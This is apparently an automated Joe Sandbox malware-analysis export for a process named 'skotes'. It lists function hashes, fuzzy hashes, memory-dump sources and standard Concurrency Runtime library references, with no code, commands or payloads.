Snapshot File: hcaresult_7_2_4b00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f7b73b75eb1237331226199548ab0653e95faed7f36452318a9cc824860a254
Instruction ID: 2cafd5d6d6fa73e4c23a4186ef3b1c4bd12800b565de140b5bf5d26f8baf0a6a
Opcode Fuzzy Hash: 5f7b73b75eb1237331226199548ab0653e95faed7f36452318a9cc824860a254
Instruction Fuzzy Hash: 18310AEB24C125BDB142A5913F14FFB6B6DE5D6B31331C86BF806C5482F2991E9A2032

Function 04B0003B Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3349922082.0000000004B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8d0f3e9026b001be08cc0976a23dbd8aa68e854cb62ed25c78552fc1669e04a
Instruction ID: acb7b3ebaf813b5aa33db6ec2666ced6ab8831b2cc462f035d181bd9d16f58a2
Opcode Fuzzy Hash: f8d0f3e9026b001be08cc0976a23dbd8aa68e854cb62ed25c78552fc1669e04a
Instruction Fuzzy Hash: E6311AEB24C125BDB102A5913F14FFB6B6DD5D6731331C86BF806C5482E2991E5E6131

Function 04B0002C Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3349922082.0000000004B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 322a3b30b83397ecefecef1d3b030ac157d8931fa16c3c1ac71fbb09461394e1
Instruction ID: 5eddaff2c1eec8cc27af8c069ff9b2040fe86e776a11cacd07e033fd7404a7d7
Opcode Fuzzy Hash: 322a3b30b83397ecefecef1d3b030ac157d8931fa16c3c1ac71fbb09461394e1
Instruction Fuzzy Hash: 4A312CEB24C165BDB102A5913F24FFB6B6DE5C6B31330C86BF806C5482F2991E5E2131

Function 04B00082 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3349922082.0000000004B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68d8f47777040a4f03d6c3f3ef38be8c6257d12144d061c74de9bcb517e849f4
Instruction ID: 9cd2fc9750aca0d25913ae54cadccbabeade42f67a2b5a2d6d251459a0882c5e
Opcode Fuzzy Hash: 68d8f47777040a4f03d6c3f3ef38be8c6257d12144d061c74de9bcb517e849f4
Instruction Fuzzy Hash: 5E3119EB20C121BDB202A5923F14FFB6B6DE5C6B31330C86BF807C5446E2995E5E2132

Function 04B000B0 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3349922082.0000000004B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 208812817753aa839d3232df6b5ab864afc72b8d7b4b3c71f40300aa1f8ccc56
Instruction ID: acef1825b591ea630462532ca78b04be0ef03e7c4a95167c4281e2e03caf34ce
Opcode Fuzzy Hash: 208812817753aa839d3232df6b5ab864afc72b8d7b4b3c71f40300aa1f8ccc56
Instruction Fuzzy Hash: A32118EB24C121BDB542A9913F24FFB6B6DE5C6B31330C86BF806C5482E2951E5A6131

Function 04B000CA Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3349922082.0000000004B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a0ccee3268a495366a2e8e5563b0c4e652465a7d8967fd87a1479ecaaa71a77
Instruction ID: b8563eb72b9f5d80a3eec8a9820d885f3090f8e6c3a24d217c7db66d5c9bcb3f
Opcode Fuzzy Hash: 2a0ccee3268a495366a2e8e5563b0c4e652465a7d8967fd87a1479ecaaa71a77
Instruction Fuzzy Hash: 0D212CEB20C111BDB202A9913F24FFB6F6DE5C6B31330C8ABF806D5482E2955E5E6531

Function 04B000D2 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3349922082.0000000004B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c419e6938a04cd328ddde4eb696c98eccc521455f48a322c030bbf2bdee6d99
Instruction ID: 224ec426ff90de203c3f8054bdecb833f6c154174b2c925ef29004c6d6830b40
Opcode Fuzzy Hash: 2c419e6938a04cd328ddde4eb696c98eccc521455f48a322c030bbf2bdee6d99
Instruction Fuzzy Hash: 46213DEB20C111BDB542EA913F14FFB6B6CE5D6B31330C86BF806C1482E2956E5A7531

Function 04B00177 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3349922082.0000000004B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f567f49d99ae6fb452cdbb3ae058e2c1418706607b55a2330ff4d8b51a5d9ef3
Instruction ID: 5d6bae3bd225a878488b49467a6eb1f095745a1ddaf82585a3ae95570283a3cb
Opcode Fuzzy Hash: f567f49d99ae6fb452cdbb3ae058e2c1418706607b55a2330ff4d8b51a5d9ef3
Instruction Fuzzy Hash: 4011E1FB20D111BD7142E9513B14BFA6F1DE6C9B31330C8AAF80BC1481F2542E597031

Function 04B00118 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3349922082.0000000004B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 438cbb53aeb05065c11d7c6b9ed88ab41fce0d8084b0a2eeaf4fb8eaaf191b59
Instruction ID: d53fc40b71fb5e22a3e96971e2fdb9ba57c50863360b4357fe1faffde78720d0
Opcode Fuzzy Hash: 438cbb53aeb05065c11d7c6b9ed88ab41fce0d8084b0a2eeaf4fb8eaaf191b59
Instruction Fuzzy Hash: 1801C0F720D211BE7241E9913B14BFB6F2CD6CA732330C4ABF80BD5481E2942E596131

Function 04B00135 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3349922082.0000000004B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ae74a573d9e8ce5de91f464b83c45d6e622a04fbce64706659f3ed7e1f253b6
Instruction ID: 53951112152d2457c178fbb0e75235f35ab214bdbb2e08936a8c38ed4149ebe8
Opcode Fuzzy Hash: 0ae74a573d9e8ce5de91f464b83c45d6e622a04fbce64706659f3ed7e1f253b6
Instruction Fuzzy Hash: 5B0171F720C111FE7141A9517B54BF76F6CE6D6B31330C4AAF807C5581E2942E696531

Function 04B00154 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3349922082.0000000004B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c9ec84a23bb8496367b5c8c31932ac0baa9ca6cfa809e097fa4606745137ad5
Instruction ID: 7ca6d8eca37aa00003721db33226f80080a899da13de12fbf97ae8797ef91086
Opcode Fuzzy Hash: 5c9ec84a23bb8496367b5c8c31932ac0baa9ca6cfa809e097fa4606745137ad5
Instruction Fuzzy Hash: BB01F9E760D240BDF702A9603A45FF66F5CEAD6732334C8FAF406C5582F2545E5A6231

Function 04B00190 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3349922082.0000000004B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1c781265971d9842761db55d9c55dfba65201af0870097b914ae03b2f36ccea
Instruction ID: face6cd30f11bbce5ed8c956f26fc9a6f4254bda6e6a005d0cded258d04e5b99
Opcode Fuzzy Hash: a1c781265971d9842761db55d9c55dfba65201af0870097b914ae03b2f36ccea
Instruction Fuzzy Hash: 14F0F0F720D201BEB501B9617F58BFB7F6CD6D5B31330C8AAF406C6481E2A02A4A6530

Function 04B001B1 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3349922082.0000000004B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 746537692f44cb4a5250ca8294d467c712ec97d00b09dfe9732d37c0a431bf3b
Instruction ID: 109d9b5356e598fa54bce563245984a8a094feabc1b6ae1d2430f127f154ac41
Opcode Fuzzy Hash: 746537692f44cb4a5250ca8294d467c712ec97d00b09dfe9732d37c0a431bf3b
Instruction Fuzzy Hash: C8F021F720D194BDF6426AA13B58BFA7F6CD4C6932334C5BAF406C6442E2441E4A9232

Function 04B001FA Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3349922082.0000000004B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdf5aafd5c0672ba894658f001bcc1a980042bdd9e0d482713e92af3b54ff1e1
Instruction ID: 9327bbb8cda5711caeb10925570646a3968a29cbac268e8066d4a73c09b3a1c2
Opcode Fuzzy Hash: cdf5aafd5c0672ba894658f001bcc1a980042bdd9e0d482713e92af3b54ff1e1
Instruction Fuzzy Hash: 08F02EF760C111BDB50175713A987FF6F6DD5D2131330C46AF402C3982E3515A496431

Function 04B001E3 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3349922082.0000000004B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4eef607b7e66fc51acdf64b4578781b187967aa0ce2c72290609e7d019fb34d9
Instruction ID: c02ddca96cc2f0e38b629ab829578d2239058af767f80b100bd83b58df5e91d1
Opcode Fuzzy Hash: 4eef607b7e66fc51acdf64b4578781b187967aa0ce2c72290609e7d019fb34d9
Instruction Fuzzy Hash: 2CE022F760C211BDBA01B9623A88BFBAB6DE6C1630330C43EF402C2482E3506A886031

Function 04B0021A Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3349922082.0000000004B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1599d1dd3b1c5dfa1dee909903d1ef0e48639ae0e0ddefc8b212f996633f3642
Instruction ID: 285209587d3d1e8ba3e71525c6e992c94546116c359f9d8a91600d00d6d55f91
Opcode Fuzzy Hash: 1599d1dd3b1c5dfa1dee909903d1ef0e48639ae0e0ddefc8b212f996633f3642
Instruction Fuzzy Hash: 5DE0D8F755C2146DB911ABA13E04BFA6B6CEAE3230330C86BF016C7142D264AA0A5532

Function 04B00211 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3349922082.0000000004B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b460eb8714876eedb5ade77d4928b8c215dc4567bfba87fe2e8d4e2f16925ce
Instruction ID: b25023b57b28c8a7027daacd2a0c63bc33186d35148cfe9261028ac374dc9f69
Opcode Fuzzy Hash: 0b460eb8714876eedb5ade77d4928b8c215dc4567bfba87fe2e8d4e2f16925ce
Instruction Fuzzy Hash: 79D05EE710C009BC3951B1A23B2CBF76E2CD1D1631370C56BF406C0C81E2842A8D6432

Function 04B00243 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3349922082.0000000004B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf48e1fad0edcc20a58fff21963d088df9c5ff41c2a98a5db35aa54180eea315
Instruction ID: 1ec4ffa1f7451f127533ca66547e3297ba3d878cd0988584641b762f7db11231
Opcode Fuzzy Hash: cf48e1fad0edcc20a58fff21963d088df9c5ff41c2a98a5db35aa54180eea315
Instruction Fuzzy Hash: 9AD0C9EB14A0103D7411A2A23F58AFBA62CE2C2630330C92AF402C004296A40A4E1032

Function 04B002BB Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3349922082.0000000004B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de326ae84fc557596876d6c3716e64d1492c14c90691ccec1defd3f602a66140
Instruction ID: 53780e50faf8b3a59342b8579c24eeb117bb37e08a27576801adc4b8501ce695
Opcode Fuzzy Hash: de326ae84fc557596876d6c3716e64d1492c14c90691ccec1defd3f602a66140
Instruction Fuzzy Hash: D0D0225A18E80058DD0270B13A40BB7FF28AB92D33334C097C0028CAC0E080B42A9AA0

Non-executed Functions

Function 002B0E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 002B0F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 002B0F62

Part of subcall function 002B265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 002B2750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 002B0FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 002B0FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 002B103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 002B106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 002B10C1

Strings

(, xrefs: 002B0F22

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 7552defc980f63d801d45b83f70fc2cab84db0cfd8a08caa2e5e0b6c4207d44a
Instruction ID: aca022ad6c134b5c6496ad32ba8d79696436919dd74b26969a345231c3660789
Opcode Fuzzy Hash: 7552defc980f63d801d45b83f70fc2cab84db0cfd8a08caa2e5e0b6c4207d44a
Instruction Fuzzy Hash: B1B1AE70A20616EFDB29CF58D990BBAB7B4FF44340F14856DE905AB685D730EDA0CB90

Function 002B1602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 002B2CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 002B2D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 002B1614

Part of subcall function 002B2E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 002B2E39
Part of subcall function 002B2E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 002B2EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 002B1746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 002B17A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 002B17B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 002B17ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 002B180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 002B181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 002B1823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 002B183B

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

